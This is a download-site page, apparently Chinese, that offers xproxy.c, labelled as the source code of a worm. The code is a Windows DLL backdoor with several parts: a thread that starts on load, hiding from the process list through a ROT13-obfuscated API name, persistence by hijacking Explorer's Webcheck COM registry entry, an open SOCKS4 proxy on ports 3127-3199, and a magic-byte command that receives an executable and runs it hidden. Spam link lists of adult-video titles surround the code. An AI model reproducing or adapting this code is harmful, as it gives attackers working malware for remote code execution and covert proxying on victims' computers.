亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? xproxy.c

?? 一個蠕蟲病毒源代碼
?? C
字號:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>

/* UPX refuses to pack this dll without padding :( */
const char PAD1[] =
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC"
	"SYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNCSYNC";

#define SOCKS4_SUCCEEDED 90
#define SOCKS4_REJECTED  91
#define SOCKS4_EXECBYTE  133

#pragma pack(push, 1)
struct socks4_header {
	unsigned char vn;		/* VN: version number, 0x04 */
	unsigned char cd;		/* CD: command/reply code */
	unsigned short dstport;
	unsigned long dstip;
};
#pragma pack(pop)

int usedthreads, threadscnt;
HINSTANCE hDllInstance;

static int recv_bytes(int sock, char *buf, int len, int opt)
{
	register int i, p;
	for (p=0; p<len;) {
		i = recv(sock, buf+p, len-p, opt);
		if (i < 0) return i;
		if (i == 0) return p;
		p += i;
	}
	return p;
}

static int skip_until(int sock, char c)
{
	char r;
	for (;;) {
		if (recv(sock, &r, 1, 0) != 1) return 1;
		if (r == c) return 0;
	}
}

static void sends(int sock, char *s) { send(sock, s, lstrlen(s), 0); }

static void socks4_exec(int sock)
{
	int i, j;
	HANDLE hFile=NULL;
	char temppath[MAX_PATH], tempfile[MAX_PATH], buf[1024];
	DWORD dw;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	recv(sock, (char *)&dw, 1, 0);		/* skip header byte */

	recv(sock, (char *)&dw, 4, 0);
	dw = ntohl(dw);
	if (dw != 0x133C9EA2) goto drop;

	GetTempPath(sizeof(temppath), temppath);
	GetTempFileName(temppath, "tmp", 0, tempfile);
	hFile = CreateFile(tempfile, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS,
		FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
		hFile = NULL;
		goto drop;
	}

	for (i=0;;) {
		j = recv(sock, buf, sizeof(buf), 0);
		if (j <= 0) break;
		i += j;
		WriteFile(hFile, buf, j, &dw, 0);
	}
	CloseHandle(hFile);

	memset(&si, '\0', sizeof(si));
	si.cb = sizeof(si);
	si.dwFlags = STARTF_FORCEOFFFEEDBACK | STARTF_USEPOSITION |
		STARTF_USESHOWWINDOW | STARTF_USESIZE;
	si.dwX = si.dwY = 0;
	si.dwXSize = si.dwYSize = 1;
	si.wShowWindow = SW_HIDE;
	wsprintf(buf, "\"%s\"", tempfile);
	if (CreateProcess(NULL, buf, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi) == 0)
		goto drop;
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	DeleteFile(tempfile);
	closesocket(sock);		/* socket will be closed on termination */
	return;

drop:	closesocket(sock);
	if (hFile != NULL) DeleteFile(tempfile);
	return;
}

static int parse_socks4a(int sock, unsigned long *ip)
{
	char hostname[300];
	unsigned long i;
	struct hostent *h;

	for (i=0; i<255; i++) {
		if (recv(sock, hostname+i, 1, 0) <= 0) return 1;
		if (hostname[i] == 0) break;
	}
	i = inet_addr(hostname);
	if (i != 0 && i != 0xFFFFFFFF) {
		*ip = i;
	} else {
		if ((h = gethostbyname(hostname)) == NULL)
			return 1;
		*ip = *(unsigned long *)h->h_addr_list[0];
	}
	return 0;
}

static void relay_socks(int sock1, int sock2)
{
	struct fd_set fds;
	char buf[4096];
	register int i;

	for (;;) {
		FD_ZERO(&fds);
		FD_SET(sock1, &fds);
		FD_SET(sock2, &fds);
		if (select(0, &fds, NULL, NULL, NULL) <= 0) break;
		if (FD_ISSET(sock1, &fds)) {
			if ((i = recv(sock1, buf, sizeof(buf), 0)) <= 0) break;
			send(sock2, buf, i, 0);
		}
		if (FD_ISSET(sock2, &fds)) {
			if ((i = recv(sock2, buf, sizeof(buf), 0)) <= 0) break;
			send(sock1, buf, i, 0);
		}
	}
}

static void socks4_client(int sock)
{
	struct socks4_header h;
	struct sockaddr_in addr;
	int relay=INVALID_SOCKET;
	unsigned char c;

	if (recv(sock, &c, 1, MSG_PEEK) != 1) goto ex;
	if (c == SOCKS4_EXECBYTE) {
		socks4_exec(sock);
		closesocket(sock);
		return;
	}
	if (c != 0x04) goto reject;

	if (recv_bytes(sock, (char *)&h, sizeof(h), 0) != sizeof(h)) goto ex;
	if (skip_until(sock, '\0')) goto reject;
	if (h.vn != 0x04) goto reject;
	if (h.cd != 0x01) goto reject;		/* BIND method is not supported */

	if ((h.dstip != 0) && ((htonl(h.dstip) & 0xFFFFFF00) == 0))	/* 0.0.0.xxx, xxx!=0 */
		/* SOCKS4A extension... */
		if (parse_socks4a(sock, &h.dstip)) goto reject;
	addr.sin_family = AF_INET;
	addr.sin_port = h.dstport;
	addr.sin_addr.s_addr = h.dstip;

	relay = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (relay == INVALID_SOCKET) goto reject;
	if (connect(relay, (struct sockaddr *)&addr, sizeof(addr))) goto reject;

	h.vn = 0x04;
	h.cd = SOCKS4_SUCCEEDED;	/* success */

	send(sock, (char *)&h, sizeof(h), 0);

	relay_socks(sock, relay);

ex:	if (relay != INVALID_SOCKET) closesocket(relay);
	closesocket(sock);
	return;

reject:	h.vn = 0x04;
	h.cd = SOCKS4_REJECTED;	/* rejected/failed */
	send(sock, (char *)&h, sizeof(h), 0);
	goto ex;
}

DWORD _stdcall socks4_server_th(LPVOID pv)
{
	int sock, serv=(int)pv;
	DWORD tick=0;
	for (;;) {
		sock = accept(serv, NULL, NULL);
		if (sock == 0 || sock == INVALID_SOCKET) continue;
		usedthreads++;
		socks4_client(sock);
		usedthreads--;
		if ((GetTickCount() - tick) < 20)
			Sleep(50);
		tick = GetTickCount();
	}
	//ExitThread(0);
	//return 0;
}

void shellsvc_attach(void);

int socks4_main(int port, int initthreads)
{
	int serv, i;
	unsigned long tid;
	struct sockaddr_in addr;
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = 0;
	addr.sin_port = htons(port);
	serv = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (serv == INVALID_SOCKET) return 1;
	if (bind(serv, (struct sockaddr *)&addr, sizeof(addr))) {
		closesocket(serv);
		return 2;
	}
	if (listen(serv, SOMAXCONN)) {
		closesocket(serv);
		return 3;
	}
	for (i=0; i<initthreads; i++)
		CreateThread(0, 0, socks4_server_th, (LPVOID)serv, 0, &tid);
	threadscnt=initthreads;
	usedthreads = 0;
	for (;;) {
		Sleep(300);
		if (usedthreads >= (threadscnt-2)) {
			CreateThread(0, 0, socks4_server_th, (LPVOID)serv, 0, &tid);
			threadscnt++;
		}
		if ((GetTickCount() % 500) == 0)
			shellsvc_attach();
	}
}

//-----------------------------------------------------------------------------

char *xstrchr(const char *str, char ch)
{
	while (*str && *str != ch) str++;
	return (*str == ch) ? (char *)str : NULL;
}

char rot13c(char c)
{
	char u[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	char l[] = "abcdefghijklmnopqrstuvwxyz";
	char *p;

	if ((p = xstrchr(u, c)) != NULL)
		return u[((p-u) + 13) % 26];
	else if ((p = xstrchr(l, c)) != NULL)
		return l[((p-l) + 13) % 26];
	else
		return c;
}

void rot13(char *buf, char *in)
{
	while (*in)
		*buf++ = rot13c(*in++);
	*buf = 0;
}

static void wsainit(void)
{
	WSADATA wd;
	WSAStartup(MAKEWORD(2,0), &wd);
}

//-----------------------------------------------------------------------------

typedef DWORD (WINAPI *PREGSERVICEPROCESS)(DWORD,DWORD);

void regsvc9x()
{
	PREGSERVICEPROCESS RegServProc;
	HINSTANCE hKernel32;
	char tmp[32];
	static const char szKernel32[] = "kernel32.dll";

	/* "RegisterServiceProcess" */
	rot13(tmp, "ErtvfgreFreivprCebprff");

	hKernel32 = GetModuleHandle(szKernel32);
	if (hKernel32 == NULL || hKernel32 == INVALID_HANDLE_VALUE)
		hKernel32 = LoadLibrary(szKernel32);
	if (hKernel32 != NULL && hKernel32 != INVALID_HANDLE_VALUE) {
		RegServProc = (PREGSERVICEPROCESS)GetProcAddress(hKernel32, tmp);
		if (RegServProc != NULL)
			RegServProc(0, 1);
	}
}

static void reg_setval(HKEY root, const char *path, const char *valname, const char *val)
{
	HKEY k;
	if (RegOpenKeyEx(root, path, 0, KEY_WRITE, &k) != 0)
		if (RegCreateKeyEx(root, path, 0, NULL, 0, KEY_WRITE, NULL, &k, NULL) != 0)
			return;
	RegSetValueEx(k, valname, 0, REG_SZ, (LPBYTE)val, lstrlen(val)+1);
	RegCloseKey(k);
}

void shellsvc_attach()
{
	char tmp[128], dllpath[256];
	MEMORY_BASIC_INFORMATION mbi;

	if (VirtualQuery(&shellsvc_attach, &mbi, sizeof(mbi)) == 0) return;
	memset(dllpath, 0, sizeof(dllpath));
	GetModuleFileName((HMODULE)mbi.AllocationBase, dllpath, sizeof(dllpath));

	/* CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}\InprocServer32 - Explorer's stobject.dll */
//	rot13(tmp, "PYFVQ\\{35PRP8N3-2OR6-11Q2-8773-92R220524153}\\VacebpFreire32");
//	reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);

	/* CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32  - Explorer's Webcheck.dll */
	rot13(tmp, "PYFVQ\\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32");
	reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);
}

DWORD _stdcall xproxy_th(LPVOID pv)
{
	int port;
	regsvc9x();
	wsainit();
	shellsvc_attach();

/* actually, this piece of code will try ports 3127 - 3199 */

	for (port=3127;;port++) {
		socks4_main(port, 3);
		Sleep(1024);
		if (port > 3198) {
			Sleep(2048);
			port = 3127;
		}
	}
}

int APIENTRY DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
	DWORD tmp;
	switch (dwReason) {
		case DLL_PROCESS_ATTACH:
			hDllInstance = hinstDLL;
			CreateThread(0, 0, xproxy_th, NULL, 0, &tmp);
			return 1;

		case DLL_PROCESS_DETACH:
		default:
			return 1;
	}
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
色老汉一区二区三区| 日韩精品亚洲一区二区三区免费| 精品视频在线视频| 91在线视频观看| 成人福利电影精品一区二区在线观看| 奇米精品一区二区三区四区| 日韩二区三区四区| 日本不卡一区二区三区| 午夜在线电影亚洲一区| 亚洲电影第三页| 婷婷成人综合网| 日本怡春院一区二区| 日本欧美一区二区三区乱码| 日本成人在线一区| 另类成人小视频在线| 久久国产精品免费| 国产在线看一区| 成人综合在线视频| 99国产精品久久久久久久久久久| 日本伊人午夜精品| 久久99蜜桃精品| 国产成人亚洲综合a∨婷婷| 国产不卡在线视频| 色综合av在线| 91精品久久久久久久99蜜桃| 日韩视频在线你懂得| 精品国产网站在线观看| 欧美国产精品久久| 亚洲乱码国产乱码精品精小说| 一区二区三区在线视频免费 | 亚洲免费在线看| 亚洲午夜免费电影| 欧美aaa在线| 国产精品18久久久久久久久| 91麻豆精品视频| 欧美美女激情18p| 日本一区二区三区免费乱视频| 国产精品久久福利| 日韩精品一二三区| 成人免费观看视频| 欧美日韩精品一区二区| 久久综合久久综合九色| 亚洲欧美日韩国产成人精品影院| 香蕉加勒比综合久久| 国产精品白丝av| 欧美日韩一区久久| 国产精品视频一二三| 午夜久久久影院| 国产福利电影一区二区三区| 一本久久a久久免费精品不卡| 这里只有精品免费| 1000精品久久久久久久久| 五月天欧美精品| 91美女片黄在线观看91美女| 2023国产精品| 视频在线观看一区| 日韩一区二区三区在线视频| 中文字幕精品一区二区三区精品 | 亚洲一区二区三区美女| 国产最新精品精品你懂的| 欧美在线999| 中文字幕一区二区三区四区| 国产精品资源在线| 欧美夫妻性生活| 亚洲美女屁股眼交3| 成人综合在线观看| 久久久久久久久久久黄色| 日本亚洲最大的色成网站www| 色国产精品一区在线观看| 国产精品日日摸夜夜摸av| 久久99最新地址| 日韩三级伦理片妻子的秘密按摩| 亚洲一二三四区不卡| 色综合中文字幕国产| xnxx国产精品| 看片网站欧美日韩| 日韩欧美黄色影院| 日本在线观看不卡视频| 欧美一区二区三区系列电影| 亚欧色一区w666天堂| 欧美视频中文一区二区三区在线观看| 中文字幕字幕中文在线中不卡视频| 国产成人午夜电影网| 欧美国产成人精品| av电影天堂一区二区在线| 国产精品毛片a∨一区二区三区| 国产成人av在线影院| 国产日韩欧美a| jlzzjlzz国产精品久久| 1000精品久久久久久久久| 日本精品一区二区三区高清| 一区二区高清免费观看影视大全| 99久久er热在这里只有精品15| 综合婷婷亚洲小说| 91国偷自产一区二区使用方法| 亚洲综合小说图片| 欧美电影影音先锋| 精品亚洲免费视频| 国产精品色婷婷| 色国产综合视频| 六月丁香婷婷久久| 国产精品久久久久久久久搜平片 | 欧美性大战久久| 日韩av中文字幕一区二区三区| 欧美一区二区大片| 成人天堂资源www在线| 中文字幕五月欧美| 51久久夜色精品国产麻豆| 国产精品一区二区男女羞羞无遮挡| 国产免费观看久久| 欧美午夜精品一区二区三区| 久久激五月天综合精品| 国产精品嫩草99a| 欧美久久一二区| 国产成人av福利| 亚洲国产日韩a在线播放| 亚洲精品一区在线观看| 91视频91自| 国模少妇一区二区三区| 亚洲色图在线视频| 欧美大片日本大片免费观看| 99久久国产综合色|国产精品| 视频一区视频二区中文字幕| 国产欧美视频一区二区三区| 欧美久久久久久久久| 成人免费毛片嘿嘿连载视频| 肉肉av福利一精品导航| 国产精品对白交换视频| 日韩午夜av电影| 色哟哟一区二区三区| 国产大片一区二区| 丝瓜av网站精品一区二区 | 国产精品久久久久精k8| 欧美一级高清片| 在线观看免费亚洲| 粉嫩av亚洲一区二区图片| 蜜臀久久99精品久久久久久9| 亚洲久草在线视频| 欧美激情一区二区| 26uuu国产日韩综合| 在线成人av影院| 日本精品裸体写真集在线观看 | 中文字幕av一区二区三区免费看 | 欧美一区二区国产| 色吧成人激情小说| 北条麻妃一区二区三区| 韩国v欧美v日本v亚洲v| 青青草97国产精品免费观看| 有坂深雪av一区二区精品| 国产精品美女久久久久久| 久久久久久毛片| 亚洲精品在线三区| 精品裸体舞一区二区三区| 日韩欧美在线123| 91精品国产乱码久久蜜臀| 欧美日韩精品电影| 在线精品视频一区二区三四| 91视频.com| 色噜噜狠狠成人中文综合| 91片黄在线观看| 色婷婷久久综合| 欧美在线影院一区二区| 日本电影欧美片| 欧美日韩国产美| 6080亚洲精品一区二区| 日韩欧美的一区| 亚洲精品一区二区三区蜜桃下载| 日韩精品中文字幕一区二区三区| 日韩三级中文字幕| 亚洲精品一区二区三区福利| 欧美精品一区二区三区蜜桃视频 | 国产精品欧美久久久久一区二区| 国产精品久久久久影院亚瑟| 亚洲人成亚洲人成在线观看图片| 中文字幕一区二区三区不卡| 一区二区视频免费在线观看| 午夜精品久久久久久久99樱桃| 日本一不卡视频| 国产成人在线观看免费网站| 成人av高清在线| 欧美日韩视频第一区| 欧美r级在线观看| 欧美国产日产图区| 一个色妞综合视频在线观看| 日韩va欧美va亚洲va久久| 国产精品综合在线视频| 91小视频免费看| 日韩一区二区三区电影| 国产精品三级在线观看| 亚洲h在线观看| 国产另类ts人妖一区二区| 色94色欧美sute亚洲线路二 | 国产一区二区三区高清播放| 不卡的av网站| 91精品视频网| ...av二区三区久久精品| 免费观看久久久4p| 91偷拍与自偷拍精品| 日韩欧美黄色影院| 亚洲另类在线视频|